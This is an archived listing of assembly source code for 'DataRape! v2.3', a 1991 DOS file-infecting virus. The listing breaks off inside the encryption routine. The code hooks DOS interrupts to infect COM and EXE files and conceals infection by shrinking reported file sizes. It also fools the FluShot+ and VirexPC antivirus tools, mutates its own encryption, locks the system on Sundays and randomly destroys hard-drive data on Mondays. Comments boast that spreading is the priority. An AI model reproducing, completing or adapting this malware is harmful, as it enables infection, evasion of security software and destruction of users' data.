home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / d / dtarpe23.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  31.0 KB  |  1,109 lines

  1. @b      macro   char
  2.  
  3.         mov     ah,0eh
  4.  
  5.         mov     al,char
  6.  
  7.         int     10h
  8.  
  9. endm
  10.  
  11. ;---
  12.  
  13. ; DataRape! v2.3 Source Code
  14.  
  15. ;
  16.  
  17. ; Written by Zodiac and Data Disruptor
  18.  
  19. ;
  20.  
  21. ; (C) 1991 RABID International Development Corp
  22.  
  23. ; (Aug.14.91)
  24.  
  25. ;---
  26.  
  27. ;
  28.  
  29. ; Note: Assuming that and infected COMMAND.COM was booted, FSP/VirexPC will
  30.  
  31. ;       not be able to go resident under this version of DataRape!
  32.  
  33. ;
  34.  
  35. ;---
  36.  
  37.  
  38.  
  39. code         segment
  40.  
  41.          assume     cs:code,ds:code,es:code
  42.  
  43.  
  44.  
  45. v:                                      ; All Pre-Resident Offsets Based
  46.  
  47.                     ; upon this location
  48.  
  49.  
  50.  
  51. startup:
  52.  
  53.          call       relative
  54.  
  55. relative:
  56.  
  57.          pop        si
  58.  
  59.          sub        si,offset relative
  60.  
  61.          mov        bp,si
  62.  
  63.          cld
  64.  
  65.  
  66.  
  67.          push       ax                      ;
  68.  
  69.          push       es                      ; Saves registers
  70.  
  71.          push       si                      ;
  72.  
  73.          push       ds                      ;
  74.  
  75.              mov        ah,2ah                  ; Get system time
  76.  
  77.              int        21h
  78.  
  79.              cmp        al,0
  80.  
  81.              jne        are_we_here_boost
  82.  
  83.              jmp        its_sunday
  84.  
  85.  
  86.  
  87. are_we_here_boost:
  88.  
  89.              jmp   are_we_here
  90.  
  91.  
  92.  
  93. ;---
  94.  
  95. ; If it's Sunday, then we display a message and lock the system
  96.  
  97. ;---
  98.  
  99. its_sunday:
  100.  
  101.              mov        ah,01h
  102.  
  103.              mov        cx,2020h
  104.  
  105.              int        10h                     ;NUL the cursor
  106.  
  107.  
  108.  
  109.              mov        ah,02h                  ;Moves the cursor
  110.  
  111.              xor        dx,dx
  112.  
  113.              int        10h
  114.  
  115.  
  116.  
  117.              xor        ax,ax                   ;Clears the screen
  118.  
  119.              int        10h
  120.  
  121.  
  122.  
  123.              @b         "I"
  124.  
  125.              @b         "t"
  126.  
  127.              @b         "'"
  128.  
  129.              @b         "s"
  130.  
  131.              @b         " "
  132.  
  133.              @b         "S"
  134.  
  135.              @b         "u"
  136.  
  137.              @b         "n"
  138.  
  139.              @b         "d"
  140.  
  141.              @b         "a"
  142.  
  143.              @b         "y"
  144.  
  145.              @b         "."
  146.  
  147.              @b         " "
  148.  
  149.              @b         "W"
  150.  
  151.              @b         "h"
  152.  
  153.              @b         "y"
  154.  
  155.              @b         " "
  156.  
  157.              @b         "a"
  158.  
  159.              @b         "r"
  160.  
  161.              @b         "e"
  162.  
  163.              @b         " "
  164.  
  165.              @b         "y"
  166.  
  167.              @b         "o"
  168.  
  169.              @b         "u"
  170.  
  171.              @b         " "
  172.  
  173.              @b         "w"
  174.  
  175.              @b         "o"
  176.  
  177.              @b         "r"
  178.  
  179.              @b         "k"
  180.  
  181.              @b         "i"
  182.  
  183.              @b         "n"
  184.  
  185.              @b         "g"
  186.  
  187.              @b         "?"
  188.  
  189.              @b         13
  190.  
  191.              @b         10
  192.  
  193.              @b         "T"
  194.  
  195.              @b         "a"
  196.  
  197.              @b         "k"
  198.  
  199.              @b         "e"
  200.  
  201.              @b         " "
  202.  
  203.              @b         "t"
  204.  
  205.              @b         "h"
  206.  
  207.              @b         "e"
  208.  
  209.              @b         " "
  210.  
  211.              @b         "d"
  212.  
  213.              @b         "a"
  214.  
  215.              @b         "y"
  216.  
  217.              @b         " "
  218.  
  219.              @b         "o"
  220.  
  221.              @b         "f"
  222.  
  223.              @b         "f"
  224.  
  225.              @b         " "
  226.  
  227.              @b "c"
  228.  
  229.              @b "o"
  230.  
  231.              @b "m"
  232.  
  233.              @b "p"
  234.  
  235.              @b "l"
  236.  
  237.              @b "i"
  238.  
  239.              @b "m"
  240.  
  241.              @b "e"
  242.  
  243.              @b "n"
  244.  
  245.              @b "t"
  246.  
  247.              @b "s"
  248.  
  249.              @b " "
  250.  
  251.              @b "o"
  252.  
  253.              @b "f"
  254.  
  255.              @b " "
  256.  
  257.              @b "R"
  258.  
  259.              @b "A"
  260.  
  261.              @b "B"
  262.  
  263.              @b "I"
  264.  
  265.              @b "D"
  266.  
  267.              @b 7
  268.  
  269.  
  270.  
  271.  
  272.  
  273. im_looped:   jmp        im_looped
  274.  
  275.  
  276.  
  277. are_we_here:
  278.  
  279.              mov    ax,6969h                ; Check to see if we are
  280.  
  281.          int    21h                     ; Allready resident
  282.  
  283.          cmp    bx,6969h
  284.  
  285.          je            already_here            ; Yes? Then leave the program
  286.  
  287.          jmp    after_trish
  288.  
  289.  
  290.  
  291. db         13,10,'Patricia Boon',13,10
  292.  
  293.  
  294.  
  295. after_trish:
  296.  
  297.          xor        ax,ax                               ;
  298.  
  299.          mov        ds,ax                               ; Loads Current
  300.  
  301.          les        ax,ds:[21h*4]                       ; Int 21h Vector
  302.  
  303.          mov        word ptr cs:[si+save_int_21],ax     ;
  304.  
  305.          mov        word ptr cs:[si+save_int_21+2],es   ;
  306.  
  307.              push       cs
  308.  
  309.              pop        ds
  310.  
  311.              jmp        load_mem
  312.  
  313. already_here:
  314.  
  315.          pop        es                                  ; If, exit
  316.  
  317. go_go_program:                                              ;
  318.  
  319.          jmp        go_program                          ;
  320.  
  321.  
  322.  
  323. exit_exe:
  324.  
  325.          mov        bx,es                               ;
  326.  
  327.          add        bx,10h                              ; E
  328.  
  329.          add        bx,word ptr cs:[si+call_adr+2]      ; X
  330.  
  331.          mov        word ptr cs:[si+patch+2],bx         ; E
  332.  
  333.          mov        bx,word ptr cs:[si+call_adr]        ;
  334.  
  335.          mov        word ptr cs:[si+patch],bx           ; E
  336.  
  337.          mov        bx,es                               ; X
  338.  
  339.          add        bx,10h                              ; I
  340.  
  341.          add        bx,word ptr cs:[si+stack_pointer+2] ; T
  342.  
  343.          mov        ss,bx                               ; I
  344.  
  345.          mov        sp,word ptr cs:[si+stack_pointer]   ; N
  346.  
  347.          db         0eah                                ; G
  348.  
  349. patch:                                                      ;
  350.  
  351.          dd         0                                   ;
  352.  
  353.       
  354.  
  355. ; Below should be changed to:
  356.  
  357. ; exit_com: xor bx,bx
  358.  
  359. ;           push bx
  360.  
  361. ;           mov di,100h
  362.  
  363. ;           push di
  364.  
  365. ;           add si,offset my_save
  366.  
  367. ;           movsb
  368.  
  369. ;           movsw
  370.  
  371. ;           ret
  372.  
  373.  
  374.  
  375. exit_com:
  376.  
  377.          mov        di,100h                             ; EXIT
  378.  
  379.          add        si,offset my_save                   ; COM
  380.  
  381.          movsb                                          ;
  382.  
  383.          movsw                                          ;
  384.  
  385.          xor        bx,bx                               ;
  386.  
  387.          push       bx                                  ;
  388.  
  389.          jmp        [si-11]                             ;
  390.  
  391.  
  392.  
  393. ;---
  394.  
  395. ; Here is where we load ourselves into memory
  396.  
  397. ;---
  398.  
  399.  
  400.  
  401. load_mem:
  402.  
  403.          pop        es
  404.  
  405.          mov        ah,49h                  ; Release memory
  406.  
  407.          int        21h
  408.  
  409.          mov        bx,0ffffh               ; Set memory for FFFFh
  410.  
  411.                                                 ; paragraphs
  412.  
  413.          mov        ah,48h                  ; Allocate memory for
  414.  
  415.                                                 ; ourselves
  416.  
  417.          int        21h
  418.  
  419.          sub        bx,(top_bz+my_bz+1ch-1)/16+2
  420.  
  421.          jc         go_go_program
  422.  
  423.          mov        cx,es
  424.  
  425.          stc
  426.  
  427.          adc        cx,bx
  428.  
  429.          mov        ah,4ah                  ; Modify memory allocation
  430.  
  431.          int        21h
  432.  
  433.          mov        bx,(offset top_bz+offset my_bz+1ch-1)/16+1
  434.  
  435.          stc
  436.  
  437.          sbb        es:[2],bx
  438.  
  439.          push       es
  440.  
  441.          mov        es,cx
  442.  
  443.          mov        ah,4ah
  444.  
  445.          int        21h
  446.  
  447.          mov        ax,es
  448.  
  449.          dec        ax
  450.  
  451.          mov        ds,ax
  452.  
  453.          mov        word ptr ds:[1],8
  454.  
  455.          call       mul_16
  456.  
  457.          mov        bx,ax
  458.  
  459.          mov        cx,dx
  460.  
  461.          pop        ds
  462.  
  463.          mov        ax,ds
  464.  
  465.          call       mul_16
  466.  
  467.          add        ax,ds:[6]
  468.  
  469.          adc        dx,0
  470.  
  471.          sub        ax,bx
  472.  
  473.          sbb        dx,cx
  474.  
  475.          jc         mem_ok
  476.  
  477.          sub        ds:[6],ax            ; This section look familiar?
  478.  
  479. mem_ok:
  480.  
  481.          pop        si
  482.  
  483.          push       si
  484.  
  485.          push       ds
  486.  
  487.          push       cs
  488.  
  489.          xor        di,di
  490.  
  491.          mov        ds,di
  492.  
  493.          lds        ax,ds:[27h*4]
  494.  
  495.          mov        word ptr cs:[si+save_int_27],ax
  496.  
  497.          mov        word ptr cs:[si+save_int_27+2],ds
  498.  
  499.          pop        ds
  500.  
  501.          mov        cx,offset aux_size
  502.  
  503.          rep        movsb
  504.  
  505.          xor        ax,ax
  506.  
  507.          mov        ds,ax
  508.  
  509.          mov        ds:[21h*4],offset int_21
  510.  
  511.          mov        ds:[21h*4+2],es
  512.  
  513.          mov        ds:[27h*4],offset int_27
  514.  
  515.          mov        ds:[27h*4+2],es
  516.  
  517.          mov        word ptr es:[filehndl],ax
  518.  
  519.          pop        es
  520.  
  521. go_program:
  522.  
  523.              mov        ah,30h                  ; Get DOS version number
  524.  
  525.              int        21h
  526.  
  527.              cmp        al,4                    ;
  528.  
  529.              jae        check_date              ; If >= 4 then check the date
  530.  
  531.              jmp        no_fry                  ; NOT?! Then continue with
  532.  
  533.                                                 ; virus
  534.  
  535. check_date:  mov        ah,2ah                  ; Get system time
  536.  
  537.              int        21h
  538.  
  539.              cmp        al,1                    ; Is it a monday?
  540.  
  541.              je         randomizer
  542.  
  543.              jmp        no_fry
  544.  
  545. ;---
  546.  
  547. ; If we actually get here, then we have a one in 15 chance that we will fry
  548.  
  549. ; the hard-drive. You may ask yourself, "Why do you go through all the
  550.  
  551. ; trouble?". Easy, because the main priority here is spreading, and not
  552.  
  553. ; fucking up data...
  554.  
  555. ;---
  556.  
  557.  
  558.  
  559. randomizer:
  560.  
  561.              mov        ah,2ch                  ; Get system time
  562.  
  563.              int        21h
  564.  
  565.              and        dl,0fh
  566.  
  567.              or         dl,dl
  568.  
  569.              jnz        no_fry
  570.  
  571.              jmp        write_short
  572.  
  573.  
  574.  
  575. no_fry:      pop        si                      ; Restore registers
  576.  
  577.          pop        ds
  578.  
  579.          pop        ax
  580.  
  581.          cmp        word ptr cs:[si+my_save],5a4dh ; Is it an EXE file?
  582.  
  583.          jne        go_exit_com             ; No? Then must be a COM file.
  584.  
  585.          jmp        exit_exe                ; Yes! Exit an EXE file
  586.  
  587. go_exit_com:
  588.  
  589.          jmp        exit_com
  590.  
  591.  
  592.  
  593. int_27:
  594.  
  595.          pushf                                      ; Allocates Memory,
  596.  
  597.          call       alloc                           ; So TSR can load
  598.  
  599.          popf                                       ;
  600.  
  601.          jmp        dword ptr cs:[save_int_27]      ;
  602.  
  603.  
  604.  
  605. ;---
  606.  
  607. ; This routine will return our ID byte in BX if we are resident.
  608.  
  609. ;---
  610.  
  611. weare_here:
  612.  
  613.          popf
  614.  
  615.          xor        ax,ax
  616.  
  617.          mov        bx,6969h                        ; ID Register
  618.  
  619.          iret
  620.  
  621.      
  622.  
  623. int_21:
  624.  
  625.          push       bp
  626.  
  627.          mov        bp,sp
  628.  
  629.          push       [bp+6]
  630.  
  631.          popf
  632.  
  633.          pop        bp                              ; Set Up Stack
  634.  
  635.  
  636.  
  637.          pushf                                      ; Save Flag
  638.  
  639.          cld
  640.  
  641.          cmp        ax,6969h
  642.  
  643.          je         weare_here
  644.  
  645.  
  646.  
  647.          cmp        ah,11h                          ; Hide In
  648.  
  649.          jb         not_hide                        ; Directory
  650.  
  651.          cmp        ah,12h                          ; Listing
  652.  
  653.          ja         not_hide                        ;
  654.  
  655. fcb_find:
  656.  
  657.           call      dword ptr cs:[save_int_21]
  658.  
  659.           push      ax
  660.  
  661.           push      bx
  662.  
  663.           push      ds
  664.  
  665.           push      es
  666.  
  667.           pushf
  668.  
  669.  
  670.  
  671.           cmp       al,0FFh
  672.  
  673.           je        done_hide                      ; Not There?
  674.  
  675.  
  676.  
  677.           mov       ah,2Fh
  678.  
  679.           int       21h                            ; Get Size
  680.  
  681.           push      es
  682.  
  683.           pop       ds
  684.  
  685.           cmp       byte ptr es:[bx],0FFh          ; Extended FCB?
  686.  
  687.           jne       not_extended
  688.  
  689.           add       bx,7
  690.  
  691. not_extended:
  692.  
  693.           mov       ax,es:[bx+17h]
  694.  
  695.           and       ax,1Fh
  696.  
  697.           cmp       ax,1Fh                         ; Check Time Stamp
  698.  
  699.  
  700.  
  701. ;--
  702.  
  703. ; Checking to see if the file is with a 62 seconds filestamp...
  704.  
  705. ;--
  706.  
  707.  
  708.  
  709.           jne       done_hide               ; No? Then the file is not
  710.  
  711.                         ; infected. Leave it alone...
  712.  
  713.  
  714.  
  715. ;--
  716.  
  717. ; If we get here, then we've deduced that the file is indeed infected.
  718.  
  719. ; Therefore, we must reduce the filesize from the DTA in order to show that it
  720.  
  721. ; is "not infected"
  722.  
  723. ;--
  724.  
  725.           sub       word ptr es:[bx+1Dh],offset top_file
  726.  
  727.           sbb       word ptr es:[bx+1Dh+2],0       ; Decrease Size
  728.  
  729.  
  730.  
  731. ;---
  732.  
  733. ; Finished hiding, restore the resigers we saved, and return to the INT
  734.  
  735. ; whence we came from...
  736.  
  737. ;---
  738.  
  739.  
  740.  
  741. done_hide:
  742.  
  743.           popf
  744.  
  745.           pop       es
  746.  
  747.           pop       ds
  748.  
  749.           pop       bx
  750.  
  751.           pop       ax
  752.  
  753.           iret
  754.  
  755.  
  756.  
  757. ;--
  758.  
  759. ; Function differentiation happens here...
  760.  
  761. ;--
  762.  
  763.  
  764.  
  765. directory:
  766.  
  767.          jmp   fcb_find
  768.  
  769.  
  770.  
  771. weare_here_boost:
  772.  
  773.          jmp     weare_here
  774.  
  775.  
  776.  
  777. ;---
  778.  
  779. ; If FluShot+ or VirexPC are trying to go resident, then tell them that
  780.  
  781. ; we "allready are" resident
  782.  
  783. ;---
  784.  
  785.  
  786.  
  787. fsp_trying:
  788.  
  789.          popf
  790.  
  791.          mov    ax,101h                   ;Set FSP/Virex ID byte
  792.  
  793.          iret
  794.  
  795.  
  796.  
  797. not_hide:
  798.  
  799.          cmp     ax,0ff0fh
  800.  
  801.          je      fsp_trying
  802.  
  803.          cmp     ah,3ch                  ; Are we creating a file?
  804.  
  805.          je      create
  806.  
  807.          cmp     ah,3dh                  ; Open file handle?
  808.  
  809.          je      touch
  810.  
  811.      cmp     ah,3eh                  ; Are we closing a file?
  812.  
  813.      je      close
  814.  
  815.          cmp     ah,43h                  ; Get/Set file attributes?
  816.  
  817.          je      touch
  818.  
  819.      cmp     ax,4b00h                ; Are we executing a file?
  820.  
  821.      je      touch
  822.  
  823.          cmp     ax,6969h                ; Checking if we are resident?
  824.  
  825.          je      weare_here_boost
  826.  
  827.      cmp     ah,5bh                  ; Creating a file?
  828.  
  829.      jne     not_create
  830.  
  831.  
  832.  
  833. create:
  834.  
  835.          cmp        word ptr cs:[filehndl],0
  836.  
  837.          jne        dont_touch
  838.  
  839.          call       see_name
  840.  
  841.          jnz        dont_touch
  842.  
  843.          call       alloc
  844.  
  845.          popf
  846.  
  847.          call       function
  848.  
  849.          jc         int_exit
  850.  
  851.          pushf
  852.  
  853.          push       es
  854.  
  855.          push       cs
  856.  
  857.          pop        es
  858.  
  859.          push       si
  860.  
  861.          push       di
  862.  
  863.          push       cx
  864.  
  865.          push       ax
  866.  
  867.          mov        di,offset filehndl
  868.  
  869.          stosw
  870.  
  871.          mov        si,dx
  872.  
  873.          mov        cx,65
  874.  
  875. move_name:
  876.  
  877.          lodsb
  878.  
  879.          stosb
  880.  
  881.          test       al,al
  882.  
  883.          jz         all_ok
  884.  
  885.          loop       move_name
  886.  
  887.          mov        word ptr es:[filehndl],cx
  888.  
  889.              jmp        all_ok
  890.  
  891.  
  892.  
  893. touch:
  894.  
  895.              jmp   try_infect
  896.  
  897.  
  898.  
  899. all_ok:
  900.  
  901.          pop        ax
  902.  
  903.          pop        cx
  904.  
  905.          pop        di
  906.  
  907.          pop        si
  908.  
  909.          pop        es
  910.  
  911. go_exit:
  912.  
  913.          popf
  914.  
  915.          jnc        int_exit
  916.  
  917. close:
  918.  
  919.          cmp        bx,word ptr cs:[filehndl]
  920.  
  921.          jne        dont_touch
  922.  
  923.          test       bx,bx
  924.  
  925.          jz         dont_touch
  926.  
  927.          call       alloc
  928.  
  929.          popf
  930.  
  931.          call       function
  932.  
  933.          jc         int_exit
  934.  
  935.          pushf
  936.  
  937.          push       ds
  938.  
  939.          push       cs
  940.  
  941.          pop        ds
  942.  
  943.          push       dx
  944.  
  945.          mov        dx,offset filehndl+2
  946.  
  947.          call       do_file
  948.  
  949.          mov        word ptr cs:[filehndl],0
  950.  
  951.          pop        dx
  952.  
  953.          pop        ds
  954.  
  955.          jmp        go_exit
  956.  
  957. not_create:
  958.  
  959.          cmp        ah,3dh
  960.  
  961.          je         touch
  962.  
  963.          cmp        ah,43h
  964.  
  965.          je         touch
  966.  
  967.          cmp        ah,56h
  968.  
  969.          jne        dont_touch
  970.  
  971. try_infect:
  972.  
  973.          call       see_name
  974.  
  975.          jnz        dont_touch
  976.  
  977.          call       do_file
  978.  
  979. dont_touch:
  980.  
  981.          call       alloc
  982.  
  983.          popf
  984.  
  985.          call       function
  986.  
  987. int_exit:
  988.  
  989.          pushf
  990.  
  991.          push       ds
  992.  
  993.          call       get_chain
  994.  
  995.          mov        byte ptr ds:[0],'Z'
  996.  
  997.          pop        ds
  998.  
  999.          popf
  1000.  
  1001. dummy        proc       far                             ; This is absolutely
  1002.  
  1003.          ret        2                               ; needed, IRET
  1004.  
  1005. dummy        endp                                       ; doesn't cut it
  1006.  
  1007.  
  1008.  
  1009. see_name:
  1010.  
  1011.          push       ax
  1012.  
  1013.          push       si
  1014.  
  1015.          mov        si,dx
  1016.  
  1017.  
  1018.  
  1019. ;--
  1020.  
  1021. ; Here's a crude yet effective way of scanning the file handle in order to see
  1022.  
  1023. ; what type of file it is...
  1024.  
  1025. ;
  1026.  
  1027. ; (NOTE: We make up for crudeity later by checking the first two bytes of the
  1028.  
  1029. ;  file to see if it is a COM or EXE file (4d5a))
  1030.  
  1031. ;--
  1032.  
  1033.  
  1034.  
  1035. scan_name:
  1036.  
  1037.          lodsb
  1038.  
  1039.          test       al,al
  1040.  
  1041.          jz         bad_name
  1042.  
  1043.          cmp        al,'.'
  1044.  
  1045.          jnz        scan_name
  1046.  
  1047.          call       get_byte
  1048.  
  1049.          mov        ah,al
  1050.  
  1051.          call       get_byte
  1052.  
  1053.          cmp        ax,'co'
  1054.  
  1055.          jz         pos_com
  1056.  
  1057.          cmp        ax,'ex'
  1058.  
  1059.          jnz        good_name
  1060.  
  1061.          call       get_byte
  1062.  
  1063.          cmp        al,'e'
  1064.  
  1065.          jmp        short good_name
  1066.  
  1067. pos_com:
  1068.  
  1069.          call       get_byte
  1070.  
  1071.          cmp        al,'m'
  1072.  
  1073.          jmp        short good_name
  1074.  
  1075. bad_name:
  1076.  
  1077.          inc        al
  1078.  
  1079. good_name:
  1080.  
  1081.          pop        si
  1082.  
  1083.          pop        ax
  1084.  
  1085.          ret
  1086.  
  1087.       
  1088.  
  1089. get_byte:
  1090.  
  1091.          lodsb
  1092.  
  1093.          cmp        al,'C'
  1094.  
  1095.          jc         byte_got
  1096.  
  1097.          cmp        al,'Y'
  1098.  
  1099.          jnc        byte_got
  1100.  
  1101.          add        al,20h
  1102.  
  1103. byte_got:
  1104.  
  1105.          ret
  1106.  
  1107.       
  1108.  
  1109. function:
  1110.  
  1111.          pushf
  1112.  
  1113.          call       dword ptr cs:[save_int_21]
  1114.  
  1115.          ret
  1116.  
  1117.       
  1118.  
  1119. do_file:
  1120.  
  1121.          push       ds
  1122.  
  1123.          push       es
  1124.  
  1125.          push       si
  1126.  
  1127.          push       di
  1128.  
  1129.          push       ax
  1130.  
  1131.          push       bx
  1132.  
  1133.          push       cx
  1134.  
  1135.          push       dx
  1136.  
  1137.          xor        cx,cx
  1138.  
  1139.          mov        ax,4300h
  1140.  
  1141.          call       function
  1142.  
  1143.          mov        bx,cx
  1144.  
  1145.          and        cl,0feh
  1146.  
  1147.          cmp        cl,bl
  1148.  
  1149.          je         dont_change
  1150.  
  1151.          mov        ax,4301h
  1152.  
  1153.          call       function
  1154.  
  1155.          stc
  1156.  
  1157. dont_change:
  1158.  
  1159.          pushf
  1160.  
  1161.          push       ds
  1162.  
  1163.          push       dx
  1164.  
  1165.          push       bx
  1166.  
  1167.          mov        ax,3d02h
  1168.  
  1169.          call       function
  1170.  
  1171.          jc         cant_open
  1172.  
  1173.          mov        bx,ax
  1174.  
  1175.          call       disease
  1176.  
  1177.          mov        ah,3eh
  1178.  
  1179.  
  1180.  
  1181.          call       function
  1182.  
  1183. cant_open:
  1184.  
  1185.          pop        cx
  1186.  
  1187.          pop        dx
  1188.  
  1189.          pop        ds
  1190.  
  1191.          popf
  1192.  
  1193.          jnc        no_update
  1194.  
  1195.          mov        ax,4301h
  1196.  
  1197.          call       function
  1198.  
  1199. no_update:
  1200.  
  1201.          pop        dx
  1202.  
  1203.          pop        cx
  1204.  
  1205.          pop        bx
  1206.  
  1207.          pop        ax
  1208.  
  1209.          pop        di
  1210.  
  1211.          pop        si
  1212.  
  1213.          pop        es
  1214.  
  1215.          pop        ds
  1216.  
  1217.          ret
  1218.  
  1219.       
  1220.  
  1221. disease:
  1222.  
  1223.          push       cs
  1224.  
  1225.          pop        ds
  1226.  
  1227.          push       cs
  1228.  
  1229.          pop        es
  1230.  
  1231.          mov        dx,offset top_save
  1232.  
  1233.          mov        cx,18h
  1234.  
  1235.          mov        ah,3fh
  1236.  
  1237.          int        21h
  1238.  
  1239.          xor        cx,cx
  1240.  
  1241.          xor        dx,dx
  1242.  
  1243.          mov        ax,4202h
  1244.  
  1245.          int        21h
  1246.  
  1247.          mov        word ptr [top_save+1ah],dx
  1248.  
  1249.          cmp        ax,offset top_file
  1250.  
  1251.          sbb        dx,0
  1252.  
  1253.          jc         stop_infect
  1254.  
  1255.          mov        word ptr [top_save+18h],ax
  1256.  
  1257.  
  1258.  
  1259.          mov        ax,5700h
  1260.  
  1261.          int        21h                             ; Check if Infected
  1262.  
  1263.          and        cx,1Fh
  1264.  
  1265.          cmp        cx,1Fh
  1266.  
  1267.          je         stop_infect
  1268.  
  1269.          xor        cx,cx
  1270.  
  1271.          xor        dx,dx
  1272.  
  1273.          mov        ax,4202h
  1274.  
  1275.          int        21h
  1276.  
  1277.          cmp        word ptr [top_save],5a4dh
  1278.  
  1279.          je         fuck_exe
  1280.  
  1281.          add        ax,offset aux_size+200h
  1282.  
  1283.          adc        dx,0
  1284.  
  1285.          je         fuck_it
  1286.  
  1287. stop_infect: ret
  1288.  
  1289.       
  1290.  
  1291. fuck_exe:
  1292.  
  1293.          mov        dx,word ptr [top_save+18h]
  1294.  
  1295.          neg        dl
  1296.  
  1297.          and        dx,0fh
  1298.  
  1299.          xor        cx,cx
  1300.  
  1301.          mov        ax,4201h
  1302.  
  1303.          int        21h
  1304.  
  1305.          mov        word ptr [top_save+18h],ax
  1306.  
  1307.          mov        word ptr [top_save+1ah],dx
  1308.  
  1309. fuck_it:
  1310.  
  1311.          mov        ax,5700h
  1312.  
  1313.          int        21h
  1314.  
  1315.          pushf
  1316.  
  1317.          push       cx
  1318.  
  1319.          push       dx
  1320.  
  1321.          cmp        word ptr [top_save],5a4dh
  1322.  
  1323.          je         exe_file
  1324.  
  1325.          mov        ax,100h
  1326.  
  1327.          jmp        short set_adr
  1328.  
  1329. exe_file:
  1330.  
  1331.          mov        ax,word ptr [top_save+14h]
  1332.  
  1333.          mov        dx,word ptr [top_save+16h]
  1334.  
  1335. set_adr:
  1336.  
  1337.          mov        di,offset call_adr
  1338.  
  1339.          stosw
  1340.  
  1341.          mov        ax,dx
  1342.  
  1343.          stosw
  1344.  
  1345.          mov        ax,word ptr [top_save+10h]
  1346.  
  1347.          stosw
  1348.  
  1349.          mov        ax,word ptr [top_save+0eh]
  1350.  
  1351.          stosw
  1352.  
  1353.          mov        si,offset top_save
  1354.  
  1355.          movsb
  1356.  
  1357.          movsw
  1358.  
  1359.  
  1360.  
  1361. copy_body:
  1362.  
  1363.          xor        si,si
  1364.  
  1365.          mov        di,offset body
  1366.  
  1367.          mov        cx,offset top_file
  1368.  
  1369.          rep        movsb                           ; Copies virus
  1370.  
  1371.                             ; body to buffer
  1372.  
  1373.  
  1374.  
  1375. enc_body:    mov        si,offset body
  1376.  
  1377.          mov        di,si
  1378.  
  1379.  
  1380.  
  1381. ;**************************
  1382.  
  1383. ;* CHANGE ENCRYPTION BASE *
  1384.  
  1385. ;**************************
  1386.  
  1387.  
  1388.  
  1389.          mov        ah,2Ch                  ;Get system time
  1390.  
  1391.          int        21h
  1392.  
  1393.          mov        byte ptr [enc_base_1],dl
  1394.  
  1395.          mov        byte ptr [body-v+enc_base_2],dl
  1396.  
  1397.  
  1398.  
  1399. ;****************************
  1400.  
  1401. ;* CHANGE ENCRYPTION METHOD *
  1402.  
  1403. ;****************************
  1404.  
  1405.  
  1406.  
  1407.          call       yes_no
  1408.  
  1409.          jc         ror_rol
  1410.  
  1411. rol_ror:     mov        ax,0C0C8h
  1412.  
  1413.          jmp        short set_method
  1414.  
  1415. ror_rol:     mov        ax,0C8C0h
  1416.  
  1417. set_method:  mov        byte ptr [enc_meth_1],ah
  1418.  
  1419.          mov        byte ptr [body-v+enc_meth_2],al
  1420.  
  1421.  
  1422.  
  1423. ;*******************************
  1424.  
  1425. ;* FLIP SOME REGISTERS, PART 1 *
  1426.  
  1427. ;*******************************
  1428.  
  1429.  
  1430.  
  1431.          call       yes_no
  1432.  
  1433.          jc         es_ds
  1434.  
  1435. ds_es:       mov        ax,1F07h
  1436.  
  1437.          jmp        short set_pops
  1438.  
  1439. es_ds:       mov        ax,071Fh
  1440.  
  1441. set_pops:    mov        byte ptr [body-v+pop_1],ah
  1442.  
  1443.          mov        byte ptr [body-v+pop_2],al
  1444.  
  1445.  
  1446.  
  1447. ;*******************************
  1448.  
  1449. ;* FLIP SOME REGISTERS, PART 2 *
  1450.  
  1451. ;*******************************
  1452.  
  1453.  
  1454.  
  1455. ;---
  1456.  
  1457. ; Zodiac has informed me that there is an error in the following routine
  1458.  
  1459. ; he has advised me to coment it out until he fixes the bug
  1460.  
  1461. ;---
  1462.  
  1463.  
  1464.  
  1465. ;    call       yes_no
  1466.  
  1467. ;    jc         di_di_si
  1468.  
  1469. ;si_si_di:
  1470.  
  1471. ;    mov        ax,5EEEh
  1472.  
  1473. ;    mov        dl,0F7h
  1474.  
  1475. ;    jmp        short set_switch
  1476.  
  1477. ;di_di_si:
  1478.  
  1479. ;    mov        ax,5FEFh
  1480.  
  1481. ;    mov        dl,0FEh
  1482.  
  1483. ;set_switch: 
  1484.  
  1485. ;    mov        byte ptr [switch_1],ah
  1486.  
  1487. ;    mov        byte ptr [switch_2],al
  1488.  
  1489. ;    mov        byte ptr [switch_3],dl
  1490.  
  1491.  
  1492.  
  1493. ;*******************************
  1494.  
  1495. ;* FLIP SOME REGISTERS, PART 3 *
  1496.  
  1497. ;*******************************
  1498.  
  1499.  
  1500.  
  1501.          mov        al,56h
  1502.  
  1503.          call       yes_no
  1504.  
  1505.          jc         set_push
  1506.  
  1507.          inc        al
  1508.  
  1509. set_push:    mov        byte ptr [push_1],al
  1510.  
  1511.  
  1512.  
  1513. ;*******************************
  1514.  
  1515. ;* FLIP SOME REGISTERS, PART 4 *
  1516.  
  1517. ;*******************************
  1518.  
  1519.  
  1520.  
  1521.          call       yes_no
  1522.  
  1523.          jc         set_dl
  1524.  
  1525. set_dh:      mov        ax,0B6F1h
  1526.  
  1527.          mov        dl,0C6h
  1528.  
  1529.          jmp        short set_inc
  1530.  
  1531. set_dl:      mov        ax,0B2D1h
  1532.  
  1533.          mov        dl,0C2h
  1534.  
  1535. set_inc:     mov        byte ptr [inc_1],ah
  1536.  
  1537.          mov        byte ptr [inc_2],al
  1538.  
  1539.          mov        byte ptr [inc_3],dl
  1540.  
  1541.  
  1542.  
  1543. ;*******************************
  1544.  
  1545. ;* FLIP SOME REGISTERS, PART 5 *
  1546.  
  1547. ;*******************************
  1548.  
  1549.  
  1550.  
  1551.          call       yes_no
  1552.  
  1553.          jc         ds_ax
  1554.  
  1555. ax_ds:       mov        ax,1E50h
  1556.  
  1557.          mov        dx,581Fh
  1558.  
  1559.          jmp        short set_push_2
  1560.  
  1561. ds_ax:       mov        ax,501Eh
  1562.  
  1563.          mov        dx,1F58h
  1564.  
  1565. set_push_2:  mov        word ptr [push_2_1],ax
  1566.  
  1567.          mov        word ptr [push_2_2],dx
  1568.  
  1569.  
  1570.  
  1571.          db         0B2h
  1572.  
  1573. enc_base_1:  db         00h                             ; General ENC Base
  1574.  
  1575.  
  1576.  
  1577.          mov        cx,offset un_enc
  1578.  
  1579.  
  1580.  
  1581. enc_loop:    lodsb
  1582.  
  1583.          push       cx
  1584.  
  1585.          mov        cl,dl
  1586.  
  1587.          inc        dl
  1588.  
  1589. ;---
  1590.  
  1591. ; What is the meaning of this???
  1592.  
  1593. ;---
  1594.  
  1595.  
  1596.  
  1597.          db         0D2h
  1598.  
